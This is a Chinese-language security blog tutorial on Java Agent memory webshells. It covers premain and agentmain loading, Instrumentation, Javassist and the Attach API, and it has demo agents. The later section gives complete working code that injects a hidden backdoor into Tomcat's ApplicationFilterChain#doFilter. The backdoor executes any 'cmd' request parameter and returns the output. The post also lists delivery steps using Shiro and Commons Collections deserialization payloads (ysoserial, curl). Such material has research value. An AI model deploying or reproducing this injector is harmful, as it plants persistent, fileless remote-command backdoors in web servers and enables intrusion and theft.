前言
前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析
大的思路
第一种是通过permain()
函数实现。定义一个 MANIFEST.MF
文件,指定Premain-Class
类,并且类中包含premain()
方法,把premain()
和 MANIFEST.MF
文件打包成一个jar包,使用 -javaagent: jar
启动要代理的方法,这种javaagent会在宿主程序的main函数的启动前启动自己premain()
方法,这个premain()
我们使用Instrumentation#addTransformer
方法添加一个自定义的ClassFileTransformer
实现类的transform
,实现Instrumentation
接口,这里可以把它理解成一个可以对还未加载的class进行拦截与修改的东西,并且transform
方法中我们可以定义一些逻辑,这里逻辑就是再利用javassist技术修改字节码,这里是对doFilter
类进行了修改,最终作为transform
方法的返回值返回,然后main函数正常执行后我们修改的doFilter
执行。
还有一种实现方式是利用agentmain()
方法。VirtualMachine
类的attach(pid)
方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)
来将含符合且含有agentmain
函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation
对象,这个对象会被当作agentmain
的一个参数。对应进程接着会调用agentmain
函数,进而操作Instrumentation
对象,Instrumentation
对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并且修改其中的内容,具体做什么操作,取决于我们的jar文件中的agentmain
函数怎么写。
前置知识
Java Agent
在 jdk 1.5 之后引入了 java.lang.instrument
包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument
实现的工具我们称之为 Java Agent,Java Agent 支持两种方式进行加载:
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
Instrumentation 实例
java Instrumentation
指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单来说就是Java Instrumentation
可以在JVM启动后,类动态修改已加载或者未加载的类,包括类的属性、方法。Instrumentation
提供的用来监测运行在JVM中的Java API。
addTransformer/removeTransformer 注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
getAllLoadedClasses 列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
isModifiableClasses 判断某个类是否能被修改。
redefineClasses重新定义已经加载类的字节码
setNativeMethodPrefix动态设置JNI前缀,可以实现Hook native方法。
retransformClasses重新加载已经被JVM加载过的类的字节码,达到对已加载的类进行字节码修改的效果
Instrumentation
是 JVMTIAgent(JVM Tool Interface Agent)
的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果,在 Instrumentation
中增加了名叫 transformer
的 Class 文件转换器,转换器可以改变二进制流的数据,Transformer
可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
ClassFileTransformer接口
ClassFileTransformer
是一个转换类文件的代理接口,我们可以在获取到Instrumentation
对象后通过addTransformer方法添加自定义类文件转换器,转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。对于没有加载的类,会使用ClassLoader.defineClass()
定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()
重新定义,并配合Instrumentation.retransformClasses
进行转换。
javassit
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
Java安全之Javassist动态编程
10-java安全基础——javassist字节码编程
编程常用的类:
ClassPool:ClassPool 类可以控制的类的字节码,例如创建一个类或加载一个类,与 JVM 类装载器类似
CtClass: CtClass提供了类的操作,如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法
CtField:类的属性,通过它可以给类创建新的属性,还可以修改已有的属性的类型,访问修饰符等
CtMethod:表示类中的方法,通过它可以给类创建新的方法,还可以修改返回类型,访问修饰符等, 甚至还可以修改方法体内容代码
CtConstructor:用于访问类的构造,与CtMethod类的作用类似
VirtualMachine
VirtualMachine
可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。
Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:解除Attach
VirtualMachineDescriptor
VirtualMachineDescriptor
是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。
两种运行方式
premain
premain方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法。
所以要实现的三个条件
Premain-Class 指定的那个类必须实现 premain() 方法
jar包中的MANIFEST.MF 文件必须指定 Premain-Class 项
启动Java程序的时候添加-javaagent(Instrumentation API实现方式)或-agentpath/-agentlib(JVMTI的实现方式)参数。
实现一下上面的条件,首先是创建一个类,来实现 premain 的这个方法
import java.lang.instrument.Instrumentation;
public class DemoTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("premain method is invoked!");
}
}
}
接下来是要在mainfest.mf文件中添加内容:
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: DemoTest
//这里要有一个换行符
利用 javac 将 java 文件编译成 class 之后,利用 jar 命令打包,生成我们的 agent.jar
javac DemoTest.java
jar cvfm agent.jar mainfest.mf DemoTest.class
按照以上步骤我们便可成功生成 agent.jar,再来建一个demo测试类,接下来有两种方法,一种是再生成一个demo.jar文件然后使用java -javaagent去执行,另一种是在idea中配置写入-javaagent参数,-javaagent:out\hello.jar
idea中配置
创建一个普通类作为测试 demo
public class Hello {
public static void main(String[] args) {
System.out.println("Hello,Java");
}
}
配置加入-javaagent参数,-javaagent:agent.jar后面不能有多余的空格。
再生成一个jar包
创建一个普通类作为测试 demo
public class hello {
public static void main(String[] args) {
System.out.println("Hello,Java");
}
}
生成对应hello.mf
Manifest-Version: 1.0
Main-Class: Hello
同样的利用 javac 编译之后打包成 hello.jar
javac hello.java
jar cvfm hello.jar hello.mf Hello.class
得到了 agent.jar 和 hello.jar。接下来在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数
java -javaagent:agent.jar[=options] -jar hello.jar
eg: java -javaagent:agent.jar=hello -jar hello.jar
可以看到我们 agent 中 premain 的代码被优先执行了,同时还获取 到了 agentArgs
参数 ,这里传的hello也被打印出来,在实现 premain 的时候,我们除了能获取到 agentArgs
参数,还可以获取 Instrumentation
实例
agentmain
要实现的条件
必须要实现 agentmain 方法
Jar 文件清单中必须要含有 Premain-Class 属性
在 Java JDK6 以后实现启动后加载 Instrument
的是 Attach api
。存在于 com.sun.tools.attach
里面有两个重要的类一个是VirtualMachine
,一个是VirtualMachineDescriptor
编写 agentmain.java
import java.lang.instrument.Instrumentation;
public class agentmain {
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
}
}
编写 DefineTransformer.java
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return classfileBuffer;
}
}
创建 jar 文件清单 agentmain.mf
,这里我们需要修改已经被JVM加载过的类的字节码,所以需要设置在agentmain.mf
中添加Can-Retransform-Classes: true
和Can-Redefine-Classes: true
。
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: agentmain
分别对上面的 java 文件进行编译,然后利用命令行进行打包
jar cvfm agentmain.jar agentmain.mf agentmain.class DefineTransformer.class
生成agentmain.jar
后,编写一个测试类,这里需要把jdk lib目录中的tools.jar
添加进当前工程的Libraries中
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class agentmainDemo {
public static void main(String[] args) throws Exception{
String path = "agentmain.jar的路径";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
System.out.println(v.displayName());
if (v.displayName().contains("AgentMainDemo")){
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
vm.detach();
}
}
}
}
执行后agentmain.jar
中的东西就会被成功调用,因为是通过tools.jar
提供 VirtualMachine
的attach api,而jdk 默认有 tools.jar
,jre 默认没有,如果是mac的话可以从jdk中直接找到 VirtualMachine
类,windows需要手工去Java jdk的lib目录下将该包add as library添加进去。
Java Agent实现内存马
这里先找到我们要注入的类,前面思路也有提到,这里要注入到org.apache.catalina.core.ApplicationFilterChain#doFilter
,这个类其实在filter中也有提到,它有ServletRequest
和ServletResponse
两个参数,里面封装了请求的request和response,所以在这里拦截的话,它一定会执行,能控制所有的请求和响应,并且不影响正常业务。大体实现的思路就是,生成MyAgent.jar
,然后编写java利用代码来使其加载进去(网上挺多通过改cc链)
编写AgentMain.java
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
编写DefineTransformer.java
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
打包生成agent.jar包,然后利用cc链。
像Y4大佬写的shiro+cc10思路
1.通过命令执行下载或者 base64 写入 MyAgent.jar
2.修改 org/chabug/demo/CC10.java:137 为 MyAgent.jar 绝对路径生成payload
3.发送 rememberMe Cookie
还有大佬生成ser+curl
1.写入MyAgent.jar
2.生成一个ser文件,java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser
3.利用 curl 直接打过去 curl -v "http://localhost:8080/cc11" --data-binary "@./cc11demo.ser"
初探Java安全之JavaAgent
利用“进程注入”实现无文件复活 WebShell
Java 安全之Java Agent
浅谈 Java Agent 内存马
JavaAgent内存马研究